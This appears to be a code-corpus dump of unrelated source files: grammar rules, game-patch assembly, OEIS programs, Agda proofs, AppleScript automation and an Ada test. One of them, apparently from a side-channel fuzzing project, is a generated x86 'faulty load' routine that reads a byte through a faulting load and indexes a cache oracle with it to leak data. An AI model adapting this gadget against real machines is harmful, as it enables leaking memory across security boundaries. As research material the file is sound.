| 'L'
;
UnsignedSuffix
: 'u'
| 'U'
;
FloatSuffix
: 'f'
| 'F'
;
Exponent
: ( 'e' | 'E' ) ( '+' | '-' )? ( Digit )+
;
DoubleDoubleConst:;
FloatDoubleConst:;
LongDoubleConst:;
IntOctalConst:;
LongOctalConst:;
UnsignedOctalConst:;
IntIntConst:;
LongIntConst:;
UnsignedIntConst:;
IntHexConst:;
LongHexConst:;
UnsignedHexConst:;
Number
: ( Digit )+
( '.' ( Digit )* ( Exponent )?
| Exponent
)
( FloatSuffix
| LongSuffix
)?
| '...'
| '.'
( ( Digit )+ ( Exponent )?
( FloatSuffix
| LongSuffix
)?
)?
| '0' ( '0'..'7' )*
( LongSuffix
| UnsignedSuffix
)?
| '1'..'9' ( Digit )*
( LongSuffix
| UnsignedSuffix
)?
| '0' ( 'x' | 'X' ) ( 'a'..'f' | 'A'..'F' | Digit )+
( LongSuffix
| UnsignedSuffix
)?
;
ID
: ( 'a'..'z' | 'A'..'Z' | '_' )
( 'a'..'z' | 'A'..'Z' | '_' | '0'..'9' )*
;
|
uw1/eop-orientMouseLook.asm | JohnGlassmyer/UltimaHacks | 68 | 244248 | %ifndef EXE_LENGTH
%include "../UltimaPatcher.asm"
%include "include/uw1.asm"
%include "include/uw1-eop.asm"
%endif
[bits 16]
startPatch EXE_LENGTH, eop-orientMouseLook
startBlockAt addr_eop_orientMouseLook
push bp
mov bp, sp
; bp-based stack frame:
%assign ____callerIp 0x02
%assign ____callerBp 0x00
%assign var_string -0x20
add sp, var_string
push si
push di
movzx ax, byte [dseg_mouseLookOrientation]
inc al
add al, 4
mov bl, 4
div bl
mov byte [dseg_mouseLookOrientation], ah
mov byte [bp+var_string], 0
push cs
push offsetInCodeSegment(orientationString)
push ss
lea ax, [bp+var_string]
push ax
callFromOverlay strcat_far
add sp, 8
test byte [dseg_mouseLookOrientation], MOUSE_LOOK_INVERT_X
jz afterXSign
mov byte [bp+var_string+xSign-orientationString], '-'
afterXSign:
test byte [dseg_mouseLookOrientation], MOUSE_LOOK_INVERT_Y
jz afterYSign
mov byte [bp+var_string+ySign-orientationString], '-'
afterYSign:
push ss
lea ax, [bp+var_string]
push ax
callFromOverlay printStringToScroll
add sp, 4
pop di
pop si
mov sp, bp
pop bp
retn
orientationString:
db 'Mouse-look orientation: ',
xSign: db '+X '
ySign: db '+Y'
db `\n`, 0
endBlockAt off_eop_orientMouseLook_end
endPatch
|
basic-assembly-programs/FLAG-REGISTERS.asm | ralphcajipe/assembly-8086 | 0 | 98315 | ;Create a program that will set the value of the following flag registers to 1.
;Carry Flag
;Parity Flag
;Auxiliary Flag
;Zero Flag
;Sign Flag
.model small
.data
.code
main proc
;sets CF,PF,AF,ZF to 1 except SF
;mov cx, 255
;add cl, 1
;sets CF,PF,AF,SF to 1 except ZF
mov cl, -5
add cl, -5
endp
end main
|
oeis/110/A110509.asm | neoneye/loda-programs | 11 | 172827 | <reponame>neoneye/loda-programs
; A110509: Riordan array (1, x(1-2x)).
; Submitted by <NAME>
; 1,0,1,0,-2,1,0,0,-4,1,0,0,4,-6,1,0,0,0,12,-8,1,0,0,0,-8,24,-10,1,0,0,0,0,-32,40,-12,1,0,0,0,0,16,-80,60,-14,1,0,0,0,0,0,80,-160,84,-16,1,0,0,0,0,0,-32,240,-280,112,-18,1,0,0,0,0,0,0,-192,560,-448,144,-20,1,0,0,0,0,0,0,64,-672,1120,-672,180,-22,1,0,0,0,0,0,0,0,448,-1792
lpb $0
add $1,1
sub $0,$1
mov $2,$1
sub $2,$0
lpe
mov $1,$0
mov $0,-2
pow $0,$2
bin $1,$2
mul $1,$0
mov $0,$1
|
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xa0.log_21829_1606.asm | ljhsiun2/medusa | 9 | 164825 | <filename>Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xa0.log_21829_1606.asm<gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r8
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x39ad, %r8
nop
nop
nop
sub $524, %rbp
movl $0x61626364, (%r8)
nop
nop
nop
nop
add $42664, %rbx
lea addresses_WT_ht+0x1ca39, %rax
nop
nop
nop
dec %r12
movl $0x61626364, (%rax)
nop
nop
nop
nop
add $6674, %rax
lea addresses_WT_ht+0x1334d, %rsi
lea addresses_WC_ht+0x11e2d, %rdi
cmp $52526, %rbx
mov $92, %rcx
rep movsq
nop
nop
nop
cmp %rbx, %rbx
lea addresses_D_ht+0x14c2d, %rbp
clflush (%rbp)
nop
nop
nop
nop
cmp %rcx, %rcx
mov (%rbp), %r8d
nop
sub %rbp, %rbp
lea addresses_normal_ht+0x10e7b, %rdi
clflush (%rdi)
nop
and $56343, %rcx
mov $0x6162636465666768, %rbx
movq %rbx, %xmm5
movups %xmm5, (%rdi)
nop
sub $65085, %rbp
lea addresses_normal_ht+0xdd2d, %r12
nop
nop
nop
and %rcx, %rcx
mov (%r12), %r8w
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_WC_ht+0x59f1, %rsi
lea addresses_A_ht+0x142ed, %rdi
nop
nop
nop
nop
and %rbp, %rbp
mov $51, %rcx
rep movsq
nop
nop
and $35591, %rax
lea addresses_WT_ht+0x16c7d, %rbp
nop
nop
add %r12, %r12
movb $0x61, (%rbp)
nop
nop
nop
nop
and $9370, %rcx
lea addresses_WT_ht+0x1595f, %rcx
clflush (%rcx)
nop
nop
nop
nop
nop
cmp $41099, %rbx
vmovups (%rcx), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %rax
nop
sub $52453, %rdi
lea addresses_WT_ht+0x983d, %rsi
lea addresses_UC_ht+0x1352d, %rdi
clflush (%rsi)
nop
nop
nop
xor %r8, %r8
mov $32, %rcx
rep movsl
nop
xor $50462, %rbp
lea addresses_WT_ht+0x11a97, %rsi
lea addresses_A_ht+0x1d3ed, %rdi
nop
xor %r8, %r8
mov $91, %rcx
rep movsb
nop
nop
xor $4984, %rbp
lea addresses_normal_ht+0x9805, %rsi
lea addresses_D_ht+0x10e6e, %rdi
nop
nop
nop
nop
nop
add $52411, %r8
mov $66, %rcx
rep movsw
nop
nop
nop
nop
xor $2268, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %r9
push %rbp
push %rdi
push %rsi
// Store
lea addresses_normal+0x127d5, %r15
nop
add %r9, %r9
mov $0x5152535455565758, %rbp
movq %rbp, (%r15)
nop
cmp $35008, %r9
// Store
mov $0xf3d, %r10
nop
nop
nop
nop
inc %r13
mov $0x5152535455565758, %rbp
movq %rbp, %xmm7
movups %xmm7, (%r10)
nop
nop
nop
nop
nop
and $44850, %r10
// Store
lea addresses_normal+0x14add, %rsi
nop
nop
dec %rdi
mov $0x5152535455565758, %r10
movq %r10, %xmm1
movups %xmm1, (%rsi)
nop
nop
nop
nop
xor $31975, %r10
// Store
lea addresses_A+0x1b92d, %rbp
cmp $61282, %r13
movb $0x51, (%rbp)
nop
nop
nop
nop
xor $55951, %r9
// Faulty Load
lea addresses_A+0x1b92d, %r15
nop
nop
nop
nop
nop
inc %r13
mov (%r15), %edi
lea oracles, %r15
and $0xff, %rdi
shlq $12, %rdi
mov (%r15,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rbp
pop %r9
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 2, 'type': 'addresses_normal', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_P', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_normal', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 1}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 2, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4}}
{'src': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WC_ht'}}
{'src': {'NT': False, 'same': True, 'congruent': 8, 'type': 'addresses_D_ht', 'AVXalign': True, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16}}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1}}
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 9, 'type': 'addresses_UC_ht'}}
{'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}}
{'src': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}}
{'51': 21829}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
|
Definition/LogicalRelation/Substitution/Introductions/Empty.agda | CoqHott/logrel-mltt | 2 | 14114 | {-# OPTIONS --safe #-}
open import Definition.Typed.EqualityRelation
module Definition.LogicalRelation.Substitution.Introductions.Empty {{eqrel : EqRelSet}} where
open EqRelSet {{...}}
open import Definition.Untyped
open import Definition.Typed
open import Definition.Typed.Properties
open import Definition.LogicalRelation
open import Definition.LogicalRelation.Properties
open import Definition.LogicalRelation.Substitution
open import Definition.LogicalRelation.Substitution.Introductions.Universe
open import Definition.LogicalRelation.Substitution.Introductions.Pi
open import Definition.LogicalRelation.Substitution.MaybeEmbed
open import Tools.Unit as TU
open import Tools.Product
import Tools.PropositionalEquality as PE
-- Validity of the Empty type.
Emptyᵛ : ∀ {Γ ll l} ([Γ] : ⊩ᵛ Γ) → Γ ⊩ᵛ⟨ l ⟩ Empty ll ^ [ % , ι ll ] / [Γ]
Emptyᵛ [Γ] ⊢Δ [σ] = Emptyᵣ (idRed:*: (univ (Emptyⱼ ⊢Δ))) , λ _ x₂ → id (univ (Emptyⱼ ⊢Δ))
-- Validity of the Empty type as a term.
Emptyᵗᵛ : ∀ {Γ l ll} ([Γ] : ⊩ᵛ Γ) → (l< : ι ll <∞ l)
→ Γ ⊩ᵛ⟨ l ⟩ Empty ll ∷ Univ % ll ^ [ ! , next ll ] / [Γ] / Uᵛ l< [Γ]
Emptyᵗᵛ {ll = ll} [Γ] emb< ⊢Δ [σ] = let ⊢Empty = Emptyⱼ ⊢Δ
in Uₜ (Empty ll) (idRedTerm:*: ⊢Empty) Emptyₙ (≅ₜ-Emptyrefl ⊢Δ) (λ x ⊢Δ' → Emptyᵣ (idRed:*: (univ (Emptyⱼ ⊢Δ'))))
, λ x x₁ → Uₜ₌ -- Empty Empty (idRedTerm:*: ⊢Empty) (idRedTerm:*: ⊢Empty) Emptyₙ Emptyₙ
(Uₜ (Empty ll) (idRedTerm:*: ⊢Empty) Emptyₙ (≅ₜ-Emptyrefl ⊢Δ) (λ x₂ ⊢Δ' → Emptyᵣ (idRed:*: (univ (Emptyⱼ ⊢Δ')))))
(Uₜ (Empty ll) (idRedTerm:*: ⊢Empty) Emptyₙ (≅ₜ-Emptyrefl ⊢Δ) (λ x₂ ⊢Δ' → Emptyᵣ (idRed:*: (univ (Emptyⱼ ⊢Δ')))))
(≅ₜ-Emptyrefl ⊢Δ) λ [ρ] ⊢Δ' → id (univ (Emptyⱼ ⊢Δ'))
Emptyᵗᵛ {ll = ll} [Γ] ∞< ⊢Δ [σ] = let ⊢Empty = Emptyⱼ ⊢Δ
in Uₜ (Empty ll) (idRedTerm:*: ⊢Empty) Emptyₙ (≅ₜ-Emptyrefl ⊢Δ) (λ x ⊢Δ' → Emptyᵣ (idRed:*: (univ (Emptyⱼ ⊢Δ'))))
, λ x x₁ → Uₜ₌ -- Empty Empty (idRedTerm:*: ⊢Empty) (idRedTerm:*: ⊢Empty) Emptyₙ Emptyₙ
(Uₜ (Empty ll) (idRedTerm:*: ⊢Empty) Emptyₙ (≅ₜ-Emptyrefl ⊢Δ) (λ x₂ ⊢Δ' → Emptyᵣ (idRed:*: (univ (Emptyⱼ ⊢Δ')))))
(Uₜ (Empty ll) (idRedTerm:*: ⊢Empty) Emptyₙ (≅ₜ-Emptyrefl ⊢Δ) (λ x₂ ⊢Δ' → Emptyᵣ (idRed:*: (univ (Emptyⱼ ⊢Δ')))))
(≅ₜ-Emptyrefl ⊢Δ) λ [ρ] ⊢Δ' → id (univ (Emptyⱼ ⊢Δ'))
Unitᵗᵛ : ∀ {Γ l} ([Γ] : ⊩ᵛ Γ) → Γ ⊩ᵛ⟨ ∞ ⟩ Unit ∷ (SProp l) ^ [ ! , next l ] / [Γ] / maybeEmbᵛ {A = SProp l} [Γ] (Uᵛ (proj₂ (levelBounded _)) [Γ])
Unitᵗᵛ {Γ} {l} [Γ] = let [SProp] = maybeEmbᵛ {A = SProp l} [Γ] (Uᵛ {rU = %} (proj₂ (levelBounded _)) [Γ])
[Empty] = Emptyᵛ {ll = l} {l = ∞} [Γ]
[Γ∙Empty] = (_∙_ {Γ} {Empty l} [Γ] [Empty])
[SProp]₁ : Γ ∙ Empty l ^ [ % , ι l ] ⊩ᵛ⟨ ∞ ⟩ (SProp l) ^ [ ! , next l ] / [Γ∙Empty]
[SProp]₁ {Δ} {σ} = maybeEmbᵛ {A = SProp l} [Γ∙Empty] (λ {Δ} {σ} → Uᵛ (proj₂ (levelBounded _)) [Γ∙Empty] {Δ} {σ}) {Δ} {σ}
[Empty]₁ = maybeEmbTermᵛ {A = SProp l} {t = Empty l} [Γ] (Uᵛ {rU = %} (proj₂ (levelBounded _)) [Γ]) (Emptyᵗᵛ {ll = l} [Γ] (proj₂ (levelBounded _)))
[Empty]₂ = maybeEmbTermᵛ {A = SProp l} {t = Empty l} [Γ∙Empty] (λ {Δ} {σ} → Uᵛ (proj₂ (levelBounded _)) [Γ∙Empty] {Δ} {σ}) (Emptyᵗᵛ {ll = l} [Γ∙Empty] (proj₂ (levelBounded _)))
in maybeEmbTermᵛ {A = SProp l} {t = Unit} [Γ] [SProp]
(Πᵗᵛ {Empty l} {Empty l} (≡is≤ PE.refl) (≡is≤ PE.refl) [Γ] ( Emptyᵛ {ll = l} [Γ]) (λ {Δ} {σ} → [SProp]₁ {Δ} {σ}) [Empty]₁ (λ {Δ} {σ} → [Empty]₂ {Δ} {σ}))
Unit≡Unit : ∀ {Γ l} (⊢Γ : ⊢ Γ)
→ Γ ⊢ Unit {l} ≅ Unit {l} ∷ SProp l ^ [ ! , next l ]
Unit≡Unit ⊢Γ = ≅ₜ-Π-cong (≡is≤ PE.refl) (≡is≤ PE.refl) (univ (Emptyⱼ ⊢Γ)) (≅ₜ-Emptyrefl ⊢Γ) (≅ₜ-Emptyrefl (⊢Γ ∙ univ (Emptyⱼ ⊢Γ)))
Unitᵛ : ∀ {Γ l} ([Γ] : ⊩ᵛ Γ) → Γ ⊩ᵛ⟨ ι l ⟩ Unit ^ [ % , ι l ] / [Γ]
Unitᵛ {Γ} {l} [Γ] = univᵛ {A = Unit} [Γ] (≡is≤ PE.refl) (maybeEmbᵛ {A = SProp l} [Γ] (Uᵛ {rU = %} (proj₂ (levelBounded _)) [Γ])) (Unitᵗᵛ {l = l} [Γ])
UnitType : ∀ {Γ l} (⊢Γ : ⊢ Γ) → Γ ⊩⟨ ι l ⟩ Unit ^ [ % , ι l ]
UnitType {Γ} ⊢Γ = proj₁ (Unitᵛ ε {Γ} {idSubst} ⊢Γ TU.tt)
EmptyType : ∀ {Γ l} (⊢Γ : ⊢ Γ) → Γ ⊩⟨ ι l ⟩ Empty l ^ [ % , ι l ]
EmptyType {Γ} ⊢Γ = proj₁ (Emptyᵛ ε {Γ} {idSubst} ⊢Γ TU.tt)
|
library/globals.asm | SamantazFox/dds140-reverse-engineering | 1 | 8883 | ; Read only data
;
ds:0x1000d180 ; (dword) 00 00 00 00 00 00 f0 41
; (double) 4294967296.0 (2^32)
; https://reverseengineering.stackexchange.com/questions/16363/
; _const_pow2_32
ds:0x1000d188 ; (dword) 00 00 00 00 00 00 80 40
; (double) 512.0
; _const_512
ds:0x1000d190 ; (dword) 00 00 00 00 00 00 10 40
; (double) 4.0
; _const_4
ds:0x1000d198 ; (dword) 00 00 00 00 00 00 00 40
; (double) 2.0
; _const_2
ds:0x1000d1a0 ; (dword) 00 00 00 00 00 00 79 40
; (double) 400.0
; _const_400
; Global variables
;
ds:0x10010000 ; [4] / _global_DeviceHandle
; WINUSB_PIPE_INFORMATION structure
ds:0x10011000 ; [4] / _global_PipeType
ds:0x10011004 ; [1] / _global_PipeId
ds:0x10011005 ; [2] / _global_MaximumPacketSize
ds:0x10011007 ; [1] / _global_Interval
ds:0x10015210 ; [4] / _global_InterfaceHandle
ds:0x10015214 ; [1] / _global_Device_Speed
ds:0x10015215 ; [1] / _global_BulkIn_PipeID
ds:0x10015216 ; [1] / _global_BulkOut_PipeID
ds:0x10015217 ; [1] / _global_Interrupt_PipeID
ds:0x1001522c ; _global_1001522c (initialization flag?)
ds:0x10015df8 ; _global_cpu_sopports_SSE2
ds:0x10016000 ; [8] / _global_CH1_FreqValue (kHz)
ds:0x10016008 ; [1] / _global_CH1_MaxValue (V)
ds:0x10016009 ; [1] / _global_CH1_MinValue (V)
ds:0x1001600a ; [1] / _global_CH1_PPValue (V)
ds:0x1001600b ; [1] / _global_CH1_AverageValue (V)
ds:0x10016010 ; [8] / _global_CH1_PeriodValue (us)
ds:0x10016018 ; [8] / _global_CH1_RiseTimeValue (us)
ds:0x10016020 ; [8] / _global_CH1_PosWidthValue (us)
ds:0x10016028 ; [8] / _global_CH1_NegWidthValue (us)
ds:0x10016030 ; [8] / _global_CH1_DutyValue (%)
ds:0x10016038 ; [8] / _global_CH2_FreqValue (kHz)
ds:0x10016040 ; [1] / _global_CH2_MaxValue (V)
ds:0x10016041 ; [1] / _global_CH2_MinValue (V)
ds:0x10016042 ; [1] / _global_CH2_PPValue (V)
ds:0x10016043 ; [1] / _global_CH2_AverageValue (V)
ds:0x10016044 ; [4] / _global_ZrroUniInt (V?)
ds:0x10016048 ; [8] / _global_CH2_PeriodValue (us)
ds:0x10016050 ; [8] / _global_CH2_RiseTimeValue (us)
ds:0x10016058 ; [8] / _global_CH2_PosWidthValue (us)
ds:0x10016060 ; [8] / _global_CH2_NegWidthValue (us)
ds:0x10016068 ; [8] / _global_CH2_DutyValue (%)
ds:0x10016074 ; _global_BufferOffset
ds:0x10016078 ; _global_currentSampleRate
ds:0x10016080 ; [1] / _global_TrigSourceChan
ds:0x10016081 ; [1] / _global_TrigMode
ds:0x10016082 ; [1] / _global_TrigEdgeFlag
ds:0x10016083 ; [1] / _global_ReadEnable
ds:0x10016084 ; [4] / _global_HWbuffer_size
ds:0x10016088 ; [4] / _global_HWbuffer_ptr
ds:0x1001608c ; _global_ChannelMask
ds:0x10016090 ; _global_dataNumPerPixar
ds:0x10016098 ; __UNKNOWN__
ds:0x1001609c ; [1] / _global_ReadEnable
|
library/fmGUI_ManageSecurity/fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_AllTables.applescript | NYHTC/applescript-fm-helper | 1 | 4501 | <filename>library/fmGUI_ManageSecurity/fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_AllTables.applescript<gh_stars>1-10
-- fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_AllTables({accessRecord:null, recordAccess:null})
-- <NAME>, NYHTC
-- update record access of the currently opened privilege set
(*
HISTORY:
1.1.2 - 2017-11-07 ( eshagdar ): open custom record privileges via handler.
1.1.1 - 2017-10-17 ( eshagdar ): pass oneTableRec as is, it's already a record.
1.1 - 2017-09-22 ( eshagdar ): added '_AllTables' to end of handler name. loop over list of records in recordAccess, calling a handler that handler one table.
1.0 - 2017-09-07 ( eshagdar ): moved from fmGUI_ManageSecurity_PrivSet_Update.
REQUIRES:
fmGUI_AppFrontMost
fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_OneTable
fmGUI_ObjectClick_OkButton
fmGUI_Popup_SelectByCommand
windowWaitUntil_FrontIS*)
on run
fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_AllTables({accessRecord:"Custom privileges...", recordAccess:{{baseTable:"ZZ_GLOBALS", viewAccess:"yes", editAccess:"yes", createAccess:"yes", deleteAccess:"yes", fieldAccess:"all", viewCalc:null, editCalc:null, createCalc:null, deleteCalc:null, fieldCalc:null}, {baseTable:"[Any New Table]", viewAccess:"yes", editAccess:"yes", createAccess:"yes", deleteAccess:"yes", fieldAccess:"all", viewCalc:null, editCalc:null, createCalc:null, deleteCalc:null, fieldCalc:null}}})
end run
--------------------
-- START OF CODE
--------------------
on fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_AllTables(prefs)
-- version 1.1.2
set defaultPrefs to {accessRecord:null, recordAccess:null}
set prefs to prefs & defaultPrefs
set windowNameEditPrivSet to "Edit Privilege Set"
set popUpExtras to {selectCommand:"contains", clickIfAlreadySet:true}
try
fmGUI_AppFrontMost()
fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_Open({accessRecord:accessRecord of prefs})
-- update custom privileges
if accessRecord of prefs begins with "Custom privileges" then
-- get button refs to edit each row
tell application "System Events"
tell process "FileMaker Pro Advanced"
set viewButton to pop up button "View" of window 1
set editButton to pop up button "Edit" of window 1
set createButton to pop up button "Create" of window 1
set deleteButton to pop up button "Delete" of window 1
set fieldAccessButton to pop up button "Field Access" of window 1
end tell
end tell
-- look through each table, ensuring each type of access is set
repeat with oneTableRec in recordAccess of prefs
set oneTableRec to contents of oneTableRec
fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_OneTable(oneTableRec)
end repeat
fmGUI_ObjectClick_OkButton({})
end if
return true
on error errMsg number errNum
error "unable to fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_AllTables - " & errMsg number errNum
end try
end fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_AllTables
--------------------
-- END OF CODE
--------------------
on fmGUI_AppFrontMost()
tell application "htcLib" to fmGUI_AppFrontMost()
end fmGUI_AppFrontMost
on fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_OneTable(prefs)
tell application "htcLib" to fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_OneTable(prefs)
end fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_OneTable
on fmGUI_ObjectClick_OkButton(prefs)
tell application "htcLib" to fmGUI_ObjectClick_OkButton(prefs)
end fmGUI_ObjectClick_OkButton
on fmGUI_Popup_SelectByCommand(prefs)
set objRefStr to coerceToString(objRef of prefs)
tell application "htcLib" to fmGUI_Popup_SelectByCommand({objRef:objRefStr} & prefs)
end fmGUI_Popup_SelectByCommand
on windowWaitUntil_FrontIS(prefs)
tell application "htcLib" to windowWaitUntil_FrontIS(prefs)
end windowWaitUntil_FrontIS
on coerceToString(incomingObject)
-- 2017-07-12 ( eshagdar ): bootstrap code to bring a coerceToString into this file for the sample to run ( instead of having a copy of the handler locally ).
tell application "Finder" to set coercePath to (container of (container of (path to me)) as text) & "text parsing:coerceToString.applescript"
set codeCoerce to read file coercePath as text
tell application "htcLib" to set codeCoerce to "script codeCoerce " & return & getTextBetween({sourceTEXT:codeCoerce, beforeText:"-- START OF CODE", afterText:"-- END OF CODE"}) & return & "end script" & return & "return codeCoerce"
set codeCoerce to run script codeCoerce
tell codeCoerce to coerceToString(incomingObject)
end coerceToString
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/loop_optimization17_pkg.adb | best08618/asylo | 7 | 1735 | <filename>gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/loop_optimization17_pkg.adb
package body Loop_Optimization17_Pkg is
function F (V : Vector) return Vector is begin return V; end;
end Loop_Optimization17_Pkg;
|
programs/oeis/109/A109118.asm | karttu/loda | 1 | 172513 | <reponame>karttu/loda
; A109118: a(n) = 2*(n^2 + 3*n + 1)^3.
; 2,250,2662,13718,48778,137842,332750,715822,1409938,2590058,4496182,7447750,11859482,18258658,27303838,39805022,56745250,79303642,108879878,147120118,195944362,257575250,334568302,429843598,546718898
mov $1,1
mov $2,1
sub $2,$0
sub $2,4
mul $2,$0
sub $1,$2
pow $1,3
mul $1,2
|
programs/oeis/004/A004171.asm | karttu/loda | 1 | 64 | <reponame>karttu/loda
; A004171: a(n) = 2^(2n+1).
